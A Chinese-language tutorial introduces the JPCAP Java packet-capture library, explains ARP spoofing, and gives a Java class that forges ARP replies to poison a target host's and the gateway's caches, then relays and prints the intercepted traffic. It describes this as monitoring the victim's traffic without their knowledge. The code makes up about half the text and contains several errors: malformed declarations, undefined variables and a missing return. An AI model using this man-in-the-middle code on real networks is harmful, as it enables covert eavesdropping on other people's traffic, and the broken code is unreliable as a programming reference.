一.JPCAP簡介
眾所周知,JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對於網絡層以下的控制,卻是無能為力的。
JPCAP擴展包彌補了這一點。 JPCAP實際上並非一個真正去實現對數據鏈路層的控制,而是一個中間件,JPCAP調用wincap/libpcap,而給JAVA語言提供一個公共的接口,從而實現了平台無關性。在官方網站上聲明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統。
二.JPCAP機制
JPCAP的整個結構大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應wincap的typedef struct _ADAPTER ADAPTER,getDeviceList()對應pcap_findalldevs()等等。 JPCAP有16個類,下面就其中最重要的4個類做說明。
1.NetworkInterface 該類的每一個實例代表一個網絡設備,一般就是網卡。這個類只有一些數據成員,除了繼承自java.lang.Object的基本方法以外,沒有定義其它方法。
數據成員 NetworkInterfaceAddress[] addresses 這個接口的網絡地址。設定為數組應該是考慮到有些設備同時連接多條線路,例如路由器。但我們的PC機的網卡一般只有一條線路,所以我們一般取addresses[0]就夠了。 java.lang.String datalink_description. 數據鏈路層的描述。描述所在的局域網是什麼網。例如,以太網(Ethernet)、無線LAN網(wireless LAN)、令牌環網(token ring)等等。 java.lang.String datalink_name 該網絡設備所對應數據鏈路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。 java.lang.String description 網卡是XXXX牌子XXXX型號之類的描述。例如我的網卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC boolean Loopback 標志這個設備是否loopback設備。 byte[] mac_address 網卡的MAC地址,6個字節。 java.lang.String Name 這個設備的名稱。例如我的網卡名稱:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5} 2.JpcapCaptor4.Packet 這個是所有其它數據包類的父類。Jpcap所支持的數據包有:
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket
三.使用JPCAP實現監聽
1.監聽原理 在詳細說用JPCAP實現網絡監聽實現前,先簡單介紹下監聽的原理。 局域網監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段,局域網的布局是使用總線式(或集線式)結構,要到達監聽只需要將網卡設定為混雜模式即可,但現在的局域網絡普遍采用的是交換式網絡,所以單純靠混雜模式來達到監聽的方法已經不可行了。所以為了達到監聽的目的,我們需要“欺騙”路由器、“欺騙”交換機,即“ARP欺騙”技術。
假設本機為A,監聽目標為B。
首先,偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入網關IP,目的地址填入B的MAC、IP,然後將這個包發送給B,而B接收到這個偽造的ARP REPLY包後,由於源IP為網關IP,於是在它的ARP緩存表裡刷新了一項,將(網關IP,網關MAC)刷新成(網關IP,A的MAC)。而B要訪問外部的網都需要經過網關,這時候這些要經過網關的包就通通流到A的機器上來了。 接著,再偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入網關MAC、IP,然後將這個包發給網關,網關接收到這個偽造的ARP REPLY包後,由於源IP為B的IP,於是在它的ARP緩存表裡刷新了一項,將(B的IP,B的MAC)刷新成(B的IP,A的MAC)。這時候外部傳給B的數據包經過網關時,就通通轉發給A。 這樣還只是攔截了B的數據包而已,B並不能上網——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動的再轉發出去,這樣就達到了監聽的目的——在B不知不覺中浏覽了B所有的對外數據包。
2.用JPCAP實現監聽
就如上面說的,為了實現監聽,我們必須做四件事:
A.發送ARP包修改B的ARP緩存表;
B.發送ARP包修改路由ARP緩存表;
C.轉發B發過來的數據包;
D.轉發路由發過來的數據包;
下面我們給個小小的例子說明怎樣實現。
我們假定運行這個程序的機器A只有一個網卡,只接一個網絡,所在局域網為Ethernet,並且假定已經通過某種方式獲得B和網關的MAC地址(例如ARP解析獲得)。我們修改了B和網關的ARP表,並對他們的包進行了轉發。
public class changeARP{
private NetworkInterface[] devices; //設備列表
private NetworkInterface device; //要使用的設備
private JpcapCaptor jpcap; //與設備的連接
private JpcapSender sender; //用於發送的實例
private byte[] targetMAC, gateMAC; //B的MAC地址,網關的MAC地址
private byte[] String targetIp, String gateIp; //B的IP地址,網關的IP地址
/**
*初始化設備
* JpcapCaptor.getDeviceList()得到設備可能會有兩個,其中一個必定是“Generic
*dialup adapter”,這是windows系統的虛擬網卡,並非真正的硬件設備。
*注意:在這裡有一個小小的BUG,如果JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
*JFame()這類的語句會影響得到設備個數,只會得到真正的硬件設備,而不會出現虛擬網卡。
*虛擬網卡只有MAC地址而沒有IP地址,而且如果出現虛擬網卡,那麼實際網卡的MAC將分
*配給虛擬網卡,也就是說在程序中調用device. mac_address時得到的是00 00 00 00 00 00。
*/
private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //獲得設備列表
device = devices[0]; //只有一個設備
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開與設備的連接
jpcap.setFilter(“ip”,true); //只監聽B的IP數據包
sender = captor.getJpcapSenderInstance();
}
/**
*修改B和網關的ARP表。因為網關會定時發數據包刷新自己和B的緩存表,所以必須每隔一
*段時間就發一次包重新更改B和網關的ARP表。
*@參數 targetMAC B的MAC地址,可通過ARP解析得到;
*@參數 targetIp B的IP地址;
*@參數 gateMAC 網關的MAC地址;
*@參數 gateIp 網關的IP;
*/
public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網類型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網絡協議類型
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
arpTarget.hlen = 6; //MAC地址長度固定6個字節
arpTarget.plen = 4; //IP地址長度固定4個字節
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //網關IP
arpTarget.target_hardaddr = targetMAC; //B的MAC地址
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
EthernetPacket ethToTarget = new EthernetPacket(); //創建一個以太網頭
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //選擇以太包類型
ethToTarget.src_mac = device.mac_address; //A的MAC地址
ethToTarget.dst_mac = targetMAC; //B的MAC地址
arpTarget.datalink = ethToTarget; //將以太頭添加到ARP包前
arpGate = new ARPPacket(); //修改網關ARP表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重復注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
thread=new Thread(new Runnable(){ //創建一個進程控制發包速度
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
Thread.sleep(500);
}).start();
recP(); //接收數據包並轉發
}
/**
*修改包的以太頭,轉發數據包
*參數 packet 收到的數據包
*參數 changeMAC 要轉發出去的目標
*/
private void send(Packet packet, byte[] changeMAC) {
EthernetPacket eth;
if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
eth.dst_mac[i] = changeMAC[i]; //修改包以太頭,改變包的目標
eth.src_mac[i] = device.mac_address[i]; //源發送者為A
}
sender.sendPacket(packet);
}
}
/**
*打印接受到的數據包並轉發
*/
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
send(packet, gateMAC);
else
send(packet, targetMAC);
}
}
注意:這個例子只是為了說明問題,並沒有考慮到程序的健壯性,所以並不一定能在任何一台機器任何一個系統上運行。